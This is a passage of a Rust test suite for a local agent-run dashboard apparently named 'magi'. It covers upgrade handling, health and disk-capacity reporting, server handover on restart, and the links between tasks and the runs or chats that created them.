22325 assert!(
22326 health(State(ui.clone()))
22327 .await
22328 .unwrap()
22329 .0
22330 .upgrade_request_error
22331 .is_none()
22332 );
22333 let live = ui.lock_loop().live.take().unwrap();
22334 live.stop.stop();
22335 live.handle.await.unwrap();
22336 }
22337
22338 #[tokio::test]
22339 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22340 use crate::updater::Stage;
22341 let repo = TempDir::new().expect("repo dir");
22342 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22343 .expect("write magi.toml");
22344 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22345 for stage in [Stage::Done, Stage::Failed] {
22346 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22347 let res = fx.post("/api/upgrade", None).await;
22348 assert_eq!(res.status, 200, "{stage:?}");
22349 }
22350 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22352 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22353 }
22354
22355 #[tokio::test]
22356 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22357 let repo = TempDir::new().expect("repo dir");
22373 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22374 .expect("write magi.toml");
22375 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22376
22377 let res = fx.post("/api/upgrade", None).await;
22383 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22384 let body = res.json();
22385 assert!(body["to"].is_null(), "there was no release to move to");
22386 assert!(body["parked"].is_null(), "and nothing was parked");
22387 assert!(
22388 body["detail"]
22389 .as_str()
22390 .unwrap()
22391 .contains("nothing restarted"),
22392 "{body:?}"
22393 );
22394 }
22395
22396 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22397 tokio::time::timeout(Duration::from_secs(5), async {
22398 while state.lock().unwrap().in_flight {
22399 tokio::task::yield_now().await;
22400 }
22401 })
22402 .await
22403 .expect("capacity scan finished");
22404 }
22405
22406 fn disk_test_scope(home: &FsPath) -> DiskScope {
22407 DiskScope {
22408 runs: home.join("runs"),
22409 worktrees: home.join("worktrees"),
22410 cache: Some(home.join("cache")),
22411 }
22412 }
22413
22414 fn known_disk_capacity() -> DiskCapacity {
22415 DiskCapacity {
22416 free_bytes: Some(100),
22417 runs_bytes: Some(200),
22418 worktrees_bytes: Some(300),
22419 cache_bytes: Some(400),
22420 }
22421 }
22422
22423 #[tokio::test]
22424 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22425 let home = TempDir::new().unwrap();
22426 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22427 let mut ui = delta_test_ui(home.path());
22428 let state = Arc::get_mut(&mut ui).unwrap();
22429 state.repo = home.path().to_owned();
22430 state.worktrees_root = home.path().join("worktrees");
22431 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22432 ui.monitor
22433 .worker_started
22434 .store(true, std::sync::atomic::Ordering::SeqCst);
22435 let cfg = deputy_config(&ui.repo);
22436 let scope = DiskScope::of(&ui, cfg.as_ref());
22437 let (started, reached) = tokio::sync::oneshot::channel();
22438 let (release, blocked) = std::sync::mpsc::channel();
22439 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22440 started.send(()).unwrap();
22441 blocked.recv().unwrap();
22442 known_disk_capacity()
22443 });
22444 assert!(cold.runs_bytes.is_none());
22445 tokio::time::timeout(Duration::from_secs(5), reached)
22446 .await
22447 .unwrap()
22448 .unwrap();
22449
22450 let requests: Vec<_> = (0..4)
22451 .map(|_| {
22452 let ui = ui.clone();
22453 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22454 })
22455 .collect();
22456 tokio::time::timeout(Duration::from_secs(5), async {
22457 for request in requests {
22458 let view = request.await.unwrap();
22459 let disk = serde_json::to_value(view.disk).unwrap();
22460 assert!(disk["runs_bytes"].is_null());
22461 assert!(disk["worktrees_bytes"].is_null());
22462 assert!(disk.get("free_bytes").is_none());
22463 }
22464 })
22465 .await
22466 .expect("health must return while the measurement is causally blocked");
22467 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22468 assert!(
22470 ui.monitor
22471 .disk
22472 .lock()
22473 .unwrap()
22474 .capacity
22475 .runs_bytes
22476 .is_none()
22477 );
22478 release.send(()).unwrap();
22479 wait_for_disk_scan(&ui.monitor.disk).await;
22480 assert_eq!(
22481 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22482 Some(200)
22483 );
22484 }
22485
22486 #[tokio::test]
22487 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22488 let home = TempDir::new().unwrap();
22489 let scope = disk_test_scope(home.path());
22490 let state = Arc::new(Mutex::new(DiskObservation {
22491 scope: Some(scope.clone()),
22492 capacity: known_disk_capacity(),
22493 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22494 ..Default::default()
22495 }));
22496 let (started, reached) = tokio::sync::oneshot::channel();
22497 let (release, blocked) = std::sync::mpsc::channel();
22498 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22499 started.send(()).unwrap();
22500 blocked.recv().unwrap();
22501 DiskCapacity {
22502 runs_bytes: Some(250),
22503 ..Default::default()
22504 }
22505 });
22506 assert_eq!(before.cache_bytes, Some(400));
22507 tokio::time::timeout(Duration::from_secs(5), reached)
22508 .await
22509 .unwrap()
22510 .unwrap();
22511 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22512 for _ in 0..4 {
22513 let scans = duplicate_scans.clone();
22514 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22515 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22516 DiskCapacity::default()
22517 });
22518 assert_eq!(during.runs_bytes, Some(200));
22519 assert_eq!(during.cache_bytes, Some(400));
22520 }
22521 release.send(()).unwrap();
22522 wait_for_disk_scan(&state).await;
22523 let scans = duplicate_scans.clone();
22524 let after = DiskObservation::observe(&state, scope, move |_| {
22525 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22526 DiskCapacity::default()
22527 });
22528 wait_for_disk_scan(&state).await;
22529 assert_eq!(after.runs_bytes, Some(250));
22530 assert_eq!(after.free_bytes, Some(100));
22531 assert_eq!(after.cache_bytes, Some(400));
22532 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22533 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22534 }
22535
22536 #[tokio::test]
22537 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22538 let home = TempDir::new().unwrap();
22539 let old_scope = disk_test_scope(home.path());
22540 let mut new_scope = old_scope.clone();
22541 new_scope.cache = Some(home.path().join("replacement-cache"));
22542 let state = Arc::new(Mutex::new(DiskObservation {
22543 scope: Some(old_scope.clone()),
22544 capacity: known_disk_capacity(),
22545 ..Default::default()
22546 }));
22547 let (started, reached) = tokio::sync::oneshot::channel();
22548 let (release, blocked) = std::sync::mpsc::channel();
22549 DiskObservation::observe(&state, old_scope, move |_| {
22550 started.send(()).unwrap();
22551 blocked.recv().unwrap();
22552 known_disk_capacity()
22553 });
22554 tokio::time::timeout(Duration::from_secs(5), reached)
22555 .await
22556 .unwrap()
22557 .unwrap();
22558 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22559 let scans = duplicate_scans.clone();
22560 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22561 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22562 DiskCapacity::default()
22563 });
22564 assert!(changed.cache_bytes.is_none());
22565 assert!(changed.runs_bytes.is_none());
22566 release.send(()).unwrap();
22567 wait_for_disk_scan(&state).await;
22568 {
22569 let observation = state.lock().unwrap();
22570 assert!(observation.capacity.cache_bytes.is_none());
22571 assert!(observation.finished.is_none());
22572 }
22573 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22574 assert_eq!(scope, &new_scope);
22575 DiskCapacity {
22576 cache_bytes: Some(999),
22577 ..Default::default()
22578 }
22579 });
22580 wait_for_disk_scan(&state).await;
22581 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22582 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22583 }
22584
22585 #[tokio::test]
22586 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22587 let home = TempDir::new().unwrap();
22588 let scope = disk_test_scope(home.path());
22589 let state = Arc::new(Mutex::new(DiskObservation {
22590 scope: Some(scope.clone()),
22591 capacity: known_disk_capacity(),
22592 ..Default::default()
22593 }));
22594 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22595 wait_for_disk_scan(&state).await;
22596 {
22597 let mut observation = state.lock().unwrap();
22598 assert_eq!(observation.capacity.cache_bytes, Some(400));
22599 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22600 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22601 }
22602 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22603 cache_bytes: Some(450),
22604 ..Default::default()
22605 });
22606 wait_for_disk_scan(&state).await;
22607 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22608 }
22609
22610 #[test]
22611 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22612 let home = TempDir::new().unwrap();
22613 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22614 assert_eq!(disk_capacity_size(home.path()), Some(0));
22615 std::fs::create_dir(home.path().join("nested")).unwrap();
22616 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22617 assert_eq!(disk_capacity_size(home.path()), Some(5));
22618 #[cfg(unix)]
22619 {
22620 assert_eq!(
22622 disk_capacity_size(&home.path().join("nested/data/child")),
22623 None
22624 );
22625 }
22626 #[cfg(unix)]
22627 {
22628 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22629 assert_eq!(disk_capacity_size(home.path()), Some(5));
22630 }
22631 }
22632
22633 #[tokio::test]
22634 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22635 let repo = TempDir::new().expect("repo dir");
22640 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22641 .expect("write magi.toml");
22642 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22643
22644 let health = fx.get("/api/health").await.json();
22645 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22646 assert_eq!(
22647 health["update"]["available"], false,
22648 "checking is off, which reads as \"unknown\", not \"none\""
22649 );
22650 assert!(health["update"]["to"].is_null());
22651 assert!(
22652 health["upgrade"].is_null(),
22653 "nothing has ever asked this deck to upgrade"
22654 );
22655 }
22656
22657 #[tokio::test]
22658 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22659 let fx = Fixture::start().await;
22660 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22661
22662 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22663 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22664 progress.advance(crate::updater::Stage::Parking);
22665 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22666
22667 let health = fx.get("/api/health").await.json();
22668 assert_eq!(health["upgrade"]["stage"], "parking");
22669 assert_eq!(health["upgrade"]["from"], "0.5.1");
22670 assert_eq!(health["upgrade"]["to"], "0.5.2");
22671 let waiting_on = health["upgrade"]["waiting_on"]
22672 .as_str()
22673 .expect("waiting_on is set while parking a known run");
22674 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22675 assert!(waiting_on.contains("implementing"), "{waiting_on}");
22676 }
22677
22678 #[tokio::test]
22679 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22680 let fx = Fixture::start().await;
22681 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22682 progress.advance(crate::updater::Stage::Done);
22683 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22684
22685 let health = fx.get("/api/health").await.json();
22686 assert_eq!(health["upgrade"]["stage"], "done");
22687 assert!(
22688 health["upgrade"]["waiting_on"].is_null(),
22689 "nothing to wait on once it is done"
22690 );
22691 }
22692
22693 #[tokio::test]
22696 async fn the_handover_signal_wakes_one_waiter_once() {
22697 let signal = Notify::new();
22698 signal.notify_one();
22700 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22701 .await
22702 .expect("an early signal is still seen");
22703 assert!(
22705 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22706 .await
22707 .is_err(),
22708 "a consumed signal must not wake a second time"
22709 );
22710 let signal = std::sync::Arc::new(signal);
22712 let waiter = tokio::spawn({
22713 let signal = std::sync::Arc::clone(&signal);
22714 async move { wait_for_handover(&signal).await }
22715 });
22716 tokio::time::sleep(Duration::from_millis(20)).await;
22717 assert!(!waiter.is_finished(), "nothing was signalled yet");
22718 signal.notify_one();
22719 tokio::time::timeout(Duration::from_secs(5), waiter)
22720 .await
22721 .expect("a late signal wakes the waiter")
22722 .expect("join");
22723 }
22724
22725 #[tokio::test]
22726 async fn health_says_how_long_a_handover_has_been_stuck() {
22727 let fx = Fixture::start().await;
22728 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22729 progress.advance(crate::updater::Stage::Replaced);
22730 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22731 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22732
22733 let health = fx.get("/api/health").await.json();
22734 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22735 assert!(stuck >= 600, "{stuck}");
22736 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22737 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22738 }
22739
22740 #[tokio::test]
22741 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22742 let home = tempfile::tempdir().expect("temp home");
22743 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22744 progress.advance(crate::updater::Stage::Parking);
22745 crate::updater::write_progress(home.path(), &progress).expect("seed");
22746 let mut again = progress.clone();
22748 again.advance(crate::updater::Stage::Replaced);
22749 crate::updater::write_progress(home.path(), &again).expect("replaced");
22750 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22751 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22752 let after = crate::updater::read_progress(home.path()).expect("record");
22753 assert_eq!(after.stage, crate::updater::Stage::Parking);
22754 }
22755
22756 #[tokio::test]
22757 async fn health_does_not_call_a_live_parking_wait_stuck() {
22758 let fx = Fixture::start().await;
22759 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22760 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22761 progress.advance(crate::updater::Stage::Parking);
22762 let hours = Duration::from_secs(3 * 3600);
22763 progress.started_at = Timestamp::now() - hours;
22764 progress.updated_at = Timestamp::now() - hours;
22765 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22766 let _lease = crate::updater::LeaseGuard::enter(
22767 fx.home.path(),
22768 Some("20260905-000000-cd51".to_owned()),
22769 );
22770
22771 let health = fx.get("/api/health").await.json();
22772 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22773 assert!(health["upgrade"]["stuck_kind"].is_null());
22774 assert_eq!(health["upgrade"]["handover_alive"], true);
22775 let waiting_on = health["upgrade"]["waiting_on"]
22776 .as_str()
22777 .expect("waiting_on");
22778 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22779 }
22780
22781 fn idle_ui(home: &TempDir) -> Ui {
22782 let runs = home.path().join("runs");
22783 std::fs::create_dir_all(&runs).expect("runs dir");
22784 Ui::new(
22785 Queue::at(home.path().join("queue")),
22786 Questions::at(home.path().join("questions")),
22787 Talks::at(home.path().join("talks")),
22788 runs,
22789 home.path().to_path_buf(),
22790 PathBuf::from("/repo/magi"),
22791 )
22792 .with_launch(launch_idle)
22793 }
22794
22795 #[tokio::test]
22796 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22797 let home = TempDir::new().expect("temp home");
22798 let ui = idle_ui(&home);
22799 let lease = crate::worker::try_lease(home.path(), "scheduler")
22800 .expect("scheduler lease")
22801 .expect("free");
22802 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22803 .expect("request stop");
22804 let error = ui
22805 .start_detached_loop()
22806 .await
22807 .expect_err("transition is still live");
22808 assert_eq!(error.status, StatusCode::CONFLICT);
22809 assert!(error.message.contains("still running or stopping"));
22810 assert_eq!(
22811 crate::worker::control(home.path(), "scheduler").unwrap(),
22812 Some(crate::worker::Control::Stop)
22813 );
22814 drop(lease);
22815 }
22816
22817 #[tokio::test]
22818 async fn handover_releases_listener_without_waiting_for_execution_leases() {
22819 let home = TempDir::new().expect("temp home");
22820 let ui = idle_ui(&home);
22821 let turns = ui
22822 .begin_talk_turn("active-chat")
22823 .expect("claim")
22824 .expect("free");
22825 let execution = crate::worker::try_lease(home.path(), "active-task")
22826 .expect("execution lease")
22827 .expect("free");
22828 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22829 .await
22830 .expect("bind loopback");
22831 let address = listener.local_addr().expect("address");
22832 let admissions = Arc::clone(&ui.admissions);
22833 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22834 let successor_started = std::sync::atomic::AtomicBool::new(false);
22835 tokio::time::timeout(
22836 Duration::from_secs(2),
22837 hand_over(home.path(), &admissions, served, || {
22838 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22839 Ok(1)
22840 }),
22841 )
22842 .await
22843 .expect("restart must not wait for execution")
22844 .expect("handover");
22845 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22846 let successor = bind_waiting(address)
22849 .await
22850 .expect("successor binds released address");
22851 assert_eq!(successor.local_addr().unwrap(), address);
22852 assert!(turns.owns(), "the chat lease survives restart");
22853 assert!(
22854 crate::worker::try_lease(home.path(), "active-task")
22855 .unwrap()
22856 .is_none()
22857 );
22858 drop(execution);
22859 drop(turns);
22860 }
22861
22862 #[tokio::test]
22863 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22864 let home = TempDir::new().expect("temp home");
22865 let ui = idle_ui(&home);
22866 let admission = ui.begin_admission().expect("admit send");
22867 let turn = ui
22868 .begin_talk_turn("active-chat")
22869 .expect("claim")
22870 .expect("free");
22871 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22872 .await
22873 .expect("bind loopback");
22874 let address = listener.local_addr().expect("address");
22875 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22876 let successor_called = std::sync::atomic::AtomicBool::new(false);
22877 let handover = hand_over(home.path(), &ui.admissions, served, || {
22878 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22879 Ok(1)
22880 });
22881 tokio::pin!(handover);
22882 std::future::poll_fn(|cx| {
22885 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22886 std::task::Poll::Ready(())
22887 })
22888 .await;
22889 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22890 assert!(
22891 ui.begin_admission().is_err(),
22892 "new ingress cannot race the drain"
22893 );
22894 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22895 drop(admission);
22896 tokio::time::timeout(Duration::from_secs(2), handover)
22897 .await
22898 .expect("only publication may delay restart")
22899 .expect("handover");
22900 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22901 assert!(
22902 turn.owns(),
22903 "the detached chat turn is not awaited or cancelled"
22904 );
22905 assert!(
22906 ui.begin_admission().is_err(),
22907 "old accepted connections stay closed"
22908 );
22909 drop(turn);
22910 }
22911
22912 #[test]
22913 fn health_worker_metadata_never_contains_payload_or_result() {
22914 let view = WorkerView::from(crate::worker::Job {
22915 id: "job".into(),
22916 sequence: 1,
22917 kind: "service".into(),
22918 key: "maintenance".into(),
22919 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22920 generation: "generation".into(),
22921 version: Some("1.2.3".into()),
22922 status: crate::worker::Status::Running,
22923 result: Some("private diagnostics".into()),
22924 pid: Some(4242),
22925 created_at: 1,
22926 finished_at: None,
22927 });
22928 let value = serde_json::to_value(view).expect("serialize public metadata");
22929 assert_eq!(value["version"], "1.2.3");
22930 assert_eq!(value["pid"], 4242);
22931 assert!(value.get("payload").is_none());
22932 assert!(value.get("result").is_none());
22933 assert!(!value.to_string().contains("private"));
22934 }
22935
22936 #[test]
22937 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22938 let home = TempDir::new().expect("temp home");
22939 let ui = idle_ui(&home);
22940 std::fs::write(
22941 home.path().join("daemon.json"),
22942 serde_json::json!({
22943 "schema": 2, "pid": 4242, "worker_protocol": 1,
22944 "updated_at": Timestamp::now().to_string(), "idle": true,
22945 })
22946 .to_string(),
22947 )
22948 .expect("status");
22949 let reading = daemon::read_status(home.path());
22950 assert!(Foreign::of(reading.as_ref()).is_none());
22951 let view = ui.runtime_loop_view(reading, &[]);
22952 assert!(view.running);
22953 assert!(view.owned);
22954 }
22955
22956 #[test]
22957 fn only_an_explicit_one_requests_a_resume() {
22958 assert!(!resume_requested(None));
22959 assert!(!resume_requested(Some("0".into())));
22960 assert!(!resume_requested(Some("".into())));
22961 assert!(resume_requested(Some("1".into())));
22962 }
22963
22964 #[test]
22965 fn an_error_is_visible_from_where_the_button_is() {
22966 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22971 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22972 assert!(
22973 alert.contains("position: fixed"),
22974 "an error about the thing under your thumb has to be visible from \
22975 where your thumb is: {alert}"
22976 );
22977 assert!(
22978 alert.contains("z-index: 25"),
22979 "above the dock (20) and the run-actions FAB (15), so neither \
22980 buries it: {alert}"
22981 );
22982 assert!(
22983 alert.contains("var(--tap)"),
22984 "and clear of the dock and the home indicator: {alert}"
22985 );
22986 assert!(
22989 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22990 "the FAB's column stays free: {alert}"
22991 );
22992 }
22993
22994 #[tokio::test]
22995 async fn an_older_attempt_says_what_replaced_it() {
22996 let fx = Fixture::start().await;
22997 let q = fx.queue();
22998 let runs = fx.runs();
22999 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23000 write_run(&runs, first, RunStatus::Stalled);
23001 write_run(&runs, second, RunStatus::Blocked);
23002
23003 let mut t = Task::new(
23004 "one task".to_owned(),
23005 "do it".to_owned(),
23006 PathBuf::from("/repo"),
23007 Source::Human,
23008 );
23009 t.runs = vec![first.to_owned(), second.to_owned()];
23010 q.put(&mut t).expect("put");
23011
23012 let rows = fx.get("/api/runs").await.json();
23016 let by = |short: &str| -> Value {
23017 rows.as_array()
23018 .unwrap()
23019 .iter()
23020 .find(|r| r["short"] == short)
23021 .cloned()
23022 .unwrap_or(Value::Null)
23023 };
23024 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23025 assert!(
23026 by("bbbb")["superseded_by"].is_null(),
23027 "the latest attempt is not superseded by anything"
23028 );
23029 assert!(APP_JS.contains("run.superseded_by"));
23031 assert!(APP_JS.contains("Superseded by"));
23032 }
23033
23034 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23035 let mut t = Task::new(
23036 "one task".to_owned(),
23037 "do it".to_owned(),
23038 PathBuf::from("/repo"),
23039 Source::Human,
23040 );
23041 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23042 t.status = status;
23043 t
23044 }
23045
23046 #[test]
23047 fn source_link_picks_the_page_that_filed_the_task() {
23048 let agent = |node: &str| Source::Agent {
23049 run: "20260904-014455-ab12".to_owned(),
23050 node: node.to_owned(),
23051 };
23052 let chat = source_link(&agent("chat")).expect("chat link");
23053 assert_eq!(chat.kind, "chat");
23054 assert_eq!(chat.id, "20260904-014455-ab12");
23055 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23056 let run = source_link(&agent("implement")).expect("run link");
23057 assert_eq!(
23058 (run.kind, run.href.as_str()),
23059 ("run", "#/runs/20260904-014455-ab12")
23060 );
23061 assert_eq!(source_link(&Source::Human), None);
23062 assert_eq!(
23063 source_link(&Source::Issue {
23064 number: 3,
23065 repo: "o/r".to_owned()
23066 }),
23067 None
23068 );
23069 let odd = source_link(&Source::Agent {
23070 run: "a b/c".to_owned(),
23071 node: "chat".to_owned(),
23072 })
23073 .expect("link");
23074 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23075 }
23076
23077 #[test]
23078 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23079 assert!(
23080 !APP_JS.contains("src.node === \"chat\""),
23081 "inline href rule is back"
23082 );
23083 assert!(
23084 APP_JS.matches("sourceLinkOf(").count() >= 4,
23085 "helper must serve every page"
23086 );
23087 assert!(
23088 APP_JS.matches("openChatLink(").count() >= 3,
23089 "the run page still needs its explicit chat link"
23090 );
23091 assert!(
23092 !APP_JS.contains("const openChat = el("),
23093 "the Queue card duplicates its source label link again"
23094 );
23095 assert!(
23096 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23097 "the task page must link a chat source label too"
23098 );
23099 }
23100
23101 #[test]
23102 fn task_ref_carries_the_source_link_for_a_chat_task() {
23103 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23104 t.source = Source::Agent {
23105 run: "20260904-014455-ab12".to_owned(),
23106 node: "chat".to_owned(),
23107 };
23108 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23109 let v = serde_json::to_value(&out).expect("json");
23110 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23111 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23112 assert_eq!(v["source_label"], t.source.label());
23113
23114 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23115 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23116 .expect("json");
23117 assert!(v["source_link"].is_null(), "{v}");
23118 }
23119
23120 #[test]
23121 fn task_view_serializes_source_link() {
23122 let mut t = Task::new(
23123 "t".to_owned(),
23124 "t".to_owned(),
23125 PathBuf::from("/repo"),
23126 Source::Agent {
23127 run: "20260901-000000-aaaa".to_owned(),
23128 node: "implement".to_owned(),
23129 },
23130 );
23131 t.runs.clear();
23132 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23133 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23134 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23135 }
23136
23137 #[test]
23138 fn task_view_serializes_urgent_flag() {
23139 let mut t = Task::new(
23140 "t".to_owned(),
23141 "t".to_owned(),
23142 PathBuf::from("/repo"),
23143 Source::Human,
23144 );
23145 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23146 assert_eq!(v["urgent"], false, "{v}");
23147 t.urgent = true;
23148 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23149 assert_eq!(v["urgent"], true, "{v}");
23150 assert!(APP_JS.contains("task.urgent === true"));
23151 }
23152
23153 #[tokio::test]
23154 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23155 let fx = Fixture::start().await;
23156 let runs = fx.runs();
23157 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23158 write_run(&runs, old, RunStatus::Blocked);
23159 write_run(&runs, new, RunStatus::Merged);
23160 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23161 fx.queue().put(&mut t).expect("put");
23162
23163 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23164 let task = &view["task"];
23165 assert_eq!(task["status"], "done");
23166 assert_eq!(task["is_latest"], false);
23167 assert_eq!(task["latest"]["short"], "bbbb");
23168 assert_eq!(task["finished_by"]["id"], new);
23169 assert_eq!(task["finished_by"]["outcome"], "merged");
23170 assert_eq!(task["closed_by_hand"], false);
23171 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23172 assert!(APP_JS.contains("finished_by"));
23173 assert!(APP_JS.contains("superseded by run"));
23174 }
23175
23176 #[tokio::test]
23177 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23178 let fx = Fixture::start().await;
23179 let runs = fx.runs();
23180 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23181 write_run(&runs, old, RunStatus::Stalled);
23182 write_run(&runs, new, RunStatus::Blocked);
23183 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23184 fx.queue().put(&mut t).expect("put");
23185
23186 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23187 assert_eq!(task["status"], "held");
23188 assert_eq!(task["is_latest"], true);
23189 assert!(task["latest"].is_null());
23190 assert!(task["finished_by"].is_null());
23191 assert_eq!(task["closed_by_hand"], false);
23192 }
23193
23194 #[tokio::test]
23195 async fn a_direct_run_has_no_task_outcome() {
23196 let fx = Fixture::start().await;
23197 let runs = fx.runs();
23198 let id = "20260901-000000-aaaa";
23199 write_run(&runs, id, RunStatus::Blocked);
23200 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23201 assert!(view["task"].is_null());
23202 }
23203
23204 #[test]
23205 fn task_outcome_does_not_guess_a_finishing_run() {
23206 let a = "20260901-000000-aaaa";
23207 let b = "20260901-000000-bbbb";
23208 let c = "20260901-000000-cccc";
23209 let dir = tempfile::tempdir().expect("tempdir");
23210 write_run(dir.path(), a, RunStatus::Blocked);
23211 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23212 let read = |id: &str| read_run(dir.path(), id).ok();
